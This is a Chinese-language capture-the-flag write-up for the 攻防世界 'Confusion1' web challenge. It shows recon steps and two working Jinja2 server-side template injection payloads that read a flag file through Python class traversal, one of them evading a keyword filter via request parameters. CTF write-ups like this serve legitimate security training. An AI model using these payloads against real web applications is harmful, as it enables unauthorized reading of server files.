#|【攻防世界WEB】难度四星12分进阶题(Confusion1)


三、Confusion1

#|【攻防世界WEB】难度四星12分进阶题(Confusion1)
文章图片



解题方法: 1、SSTI漏洞,构造payload



过程:
#|【攻防世界WEB】难度四星12分进阶题(Confusion1)
文章图片


大象and蛇(确实帅)
php+python想到了见过很多次的SSTI漏洞
#|【攻防世界WEB】难度四星12分进阶题(Confusion1)
文章图片
#|【攻防世界WEB】难度四星12分进阶题(Confusion1)
文章图片

先到处逛逛(这个里面都是一些信息)
#|【攻防世界WEB】难度四星12分进阶题(Confusion1)
文章图片

login和register都报错
(但是这里一定是很重要的地方)
#|【攻防世界WEB】难度四星12分进阶题(Confusion1)
文章图片


看robot.txt(没什么东西)
#|【攻防世界WEB】难度四星12分进阶题(Confusion1)
文章图片


考虑分析页面源码了
login.php中Ctrl+U查看页面源码
发现flag路径
#|【攻防世界WEB】难度四星12分进阶题(Confusion1)
文章图片


分析有没有SSTI漏洞
{{1+2}}
被运算了,得出结果3
#|【攻防世界WEB】难度四星12分进阶题(Confusion1)
文章图片


SSTI常用的注入
【#|【攻防世界WEB】难度四星12分进阶题(Confusion1)】__class__() 返回对象的类
__base__()/__mro__() 返回类所继承的基类
__subclasses__() 返回继承类的所有子类
pyaload:
{{"".__class__.__mro__[2].__subclasses__()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt").read()}}
被过滤了
#|【攻防世界WEB】难度四星12分进阶题(Confusion1)
文章图片


构造payload
request 是 Flask 框架的一个全局对象 , 表示 " 当前请求的对象( flask.request ) "
request.args.key
args是参数,key可以是内置函数
——————
payload:
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?&a=__class__&b=__mro__&c=__subclasses__&d=read
#|【攻防世界WEB】难度四星12分进阶题(Confusion1)
文章图片

cyberpeace{a92d9e29b89ab062c895ddc06f237cb6}

    推荐阅读